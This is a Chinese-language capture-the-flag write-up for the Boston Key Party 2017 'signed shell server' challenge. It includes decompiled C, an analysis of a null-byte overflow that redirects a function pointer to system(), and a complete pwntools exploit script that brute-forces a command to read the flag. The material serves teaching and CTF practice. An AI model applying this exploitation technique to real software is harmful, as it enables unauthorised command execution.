bosten key party 2017 signed shell server writeup

来源:互联网 发布:linux php打开下载 编辑:程序博客网 时间:2024/06/05 11:38

signed shell server

题目

https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/signed-shell-server-200

分析

先随便把玩一下,有两个功能,一个是sign,一个是execute,sign会给出一个命令的签名,然后execute给出命令,并给出签名,如果匹配成功就会使用system执行。

保护:

    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)

没有开启PIE,在0x602240位置有一个变量,表示是否使用MD5,不为0则使用HMAC-MD5,否则使用HMAC-SHA1作为签名。

sign的时候先输入命令,只支持ls等几个没有什么用的命令,然后进行HMAC,给出结果作为签名,exeucte的时候同样进行HMAC。由于HMAC使用了flag的值作为key,显然是不可能使用他的sign以外的函数来自行签名的。

有趣的是它的execute函数:

__int64 execute_it(){  size_t v0; // r13@6  char *v1; // rdi@6  unsigned int v2; // er12@6  char *v3; // rbx@6  __int64 v4; // rax@6  void *v5; // rax@6  size_t v6; // r13@7  char *v7; // rdi@7  unsigned int v8; // er12@7  char *v9; // rbx@7  __int64 v10; // rax@7  void *v11; // rax@7  void *v12; // rsi@16  size_t n; // [sp+Ch] [bp-64h]@8  unsigned int i; // [sp+14h] [bp-5Ch]@13  int v16; // [sp+18h] [bp-58h]@3  int v17; // [sp+1Ch] [bp-54h]@5  void *dest; // [sp+20h] [bp-50h]@3  void *src; // [sp+28h] [bp-48h]@6  char *s; // [sp+30h] [bp-40h]@5  char *s1; // [sp+38h] [bp-38h]@8  void *buf; // [sp+40h] [bp-30h]@8  __int64 v23; // [sp+48h] [bp-28h]@1  v23 = *MK_FP(__FS__, 40LL);  if ( !exec_guy )  {    exec_guy = (__int64)calloc(0x24uLL, 1uLL);    s_exec_guy = exec_guy;    m_exec_guy = exec_guy + 1;    *(_QWORD *)(exec_guy + 20) = deny_command;    *(_QWORD *)(s_exec_guy + 28) = exec_command;  }  v16 = byte_602240;  dest = (void *)m_exec_guy;  if ( !byte_602240 )    dest = (void *)s_exec_guy;  puts("what command do you want to run?");  printf(">_ ");  v17 = read(0, global, 0x100uLL);  global[(signed __int64)v17] = 0;  s = global;  if ( byte_602240 )  {    v0 = strlen(s);    v1 = key;    v2 = strlen(key);    v3 = key;    LODWORD(v4) = EVP_md5(v1, global);    LODWORD(v5) = HMAC(v4, v3, v2, s, v0, 0LL);    src = v5;  }  else  {    v6 = strlen(s);    v7 = key;    v8 = strlen(key);    v9 = key;    LODWORD(v10) = EVP_sha1(v7, global);    LODWORD(v11) = HMAC(v10, v9, v8, s, v6, 0LL);    src = v11;  }  memcpy(dest, src, (unsigned int)n);  s1 = (char *)calloc(1uLL, (unsigned int)(2 * n + 1));  buf = calloc(1uLL, (unsigned int)(2 * n + 1));  printf("gimme signature:\n>_ ");  v17 = read(0, buf, (unsigned int)(2 * n + 1));  for ( HIDWORD(n) = 0; (unsigned int)(2 * n + 1) > HIDWORD(n); ++HIDWORD(n) )  {    if ( *((_BYTE *)buf + SHIDWORD(n)) == 10 )    {      *((_BYTE *)buf + SHIDWORD(n)) = 0;      break;    }  }  for ( i = 0; i < (unsigned int)n; ++i )    sprintf(&s1[2 * i], "%02x", *((_BYTE *)src + i));  v12 = buf;  if ( !strcmp(s1, (const char *)buf) )    (*(void (__fastcall **)(char *, void *))(m_exec_guy + 27))(global, v12);  else    (*(void (__fastcall **)(char *, void *))(m_exec_guy + 19))(global, v12);  puts(byte_40165B);  return *MK_FP(__FS__, 40LL) ^ v23;}

漏洞

  1. global这个变量存在一个null byte overflow,会多出一个字节
  2. 这个execute_guy,大概结构是:
struct ExecuteGuy {  char buf[20];  void* deny_func;  void* execute_func;}

在使用md5时exec_guy将会后移一位,而sha1则不会
另外,deny的函数位于0x400d36,exec的函数位于0x400d5b,只有最后一个字节不同。
3. sha1比md5长,将会是20字节大小

在exec的时候,触发null byte overflow会导致use_md5为0,但是exec_guy已经初始化结束了,所以之前选择的是MD5会导致使用的是exec_guy + 1,这样的话,sha1加密会导致最后一个字节溢出到deny_func中去,而deny_func和exec_func的字节只有最后一位不一样,所以只需要产生一个加密后最后一个字节为exec_func的最低位的shell 命令,溢出后执行deny_func会去执行exec,也就是system,最后就可以得到flag了

exp.py

from pwn import *import stringcontext(os='linux', arch='amd64', log_level='debug')DEBUG = 1GDB = 1if DEBUG:    pass#    p_global = process("./sss")def sign(p, command, possible=True):    p.recvuntil('>_')    p.sendline('1')    p.recvuntil('>_')    p.sendline(command)    if possible:        p.recvuntil('signature: \n')        sig = p.recvline()[:-1]    else:        return    return sigdef execute(p, command, sig):    p.recvuntil('>_')    p.sendline('2')    p.recvuntil('>_')    p.sendline(command)    p.recvuntil('>_')    p.sendline(sig)    return p.recvline()[:-1]def fuzz(test_str, len_max):    for x in string.printable:        with process("./sss") as p:            try:                res = execute(p, (test_str + x).ljust(255, 'a'), 'abc')                if 'flag{' not in res:                    continue                log.success(res)                return            except:                continue    if len_max == len(test_str):        returndef main():    if GDB:        raw_input()    fuzz('cat flag;', 12)if __name__ == "__main__":    main()
原创粉丝点击